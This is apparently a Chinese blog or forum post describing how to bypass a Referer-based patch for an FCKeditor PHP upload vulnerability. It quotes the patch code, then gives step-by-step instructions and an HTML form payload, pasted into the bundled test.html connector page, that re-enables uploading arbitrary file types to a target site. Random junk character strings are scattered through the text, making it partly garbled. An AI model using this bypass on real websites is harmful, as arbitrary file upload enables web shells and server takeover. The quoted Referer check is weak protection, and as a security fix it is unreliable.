fckeditor 漏洞修复后的二次利用

admin

漏洞文件：editors/fckeditor/editor/filemanager/upload/php/upload.php
/ X; Z% `8 h* y8 L+ E+ I- i! e3 E网上给出的修复方案是
9 ?+ ^2 M" k2 E修复方法，删除FCK编辑器用其他的编辑器
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
+ U$ A% v) x( f" t4 E在
2 @6 n; I) y0 l4 y2 _4 nrequire(‘config.php’);
* A% v3 o) ]7 I9 l. i& g' k4 W" ^require(‘util.php’);
的下面添加以下代码—————————–
//防止外部提交
" _4 Z/ [3 F- M8 o7 J: {. _; zfunction outsidepost()
: O  V7 ~% y$ i3 U{
$servername=$_SERVER['SERVER_NAME'];
$sub_from=@$_SERVER['HTTP_REFERER'];
) p+ x8 u; W5 o: o9 o$sub_len=strlen($servername);
$ I& g9 T8 W0 M& ]$checkfrom=substr($sub_from,7,$sub_len);
if($checkfrom!=$servername){
echo(“you don’t outsidepost!”);
exit;
& Y! @" b/ ^3 h0 j' h/ M4 D; Z% ^}
}
4 o: e) U* w+ q- }; Ioutsidepost();
& k# X$ L  i( {/ r" ^2 L+ l防止外部提交，但是没有防止内部提交，
2 g( D) d4 C2 J/ Z) H利用方法：
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
2,在Current Folder 框输入
+ P- A( }. K2 c7 R/ [; s<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
2 U/ T& {; `, K3 H+ R! ~/ @/ b然后 Get Folders and Files 就会出现一个上传表单，即可上传任意文件类型。
( u& x% E3 A; R$ q4 g  jPS：如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。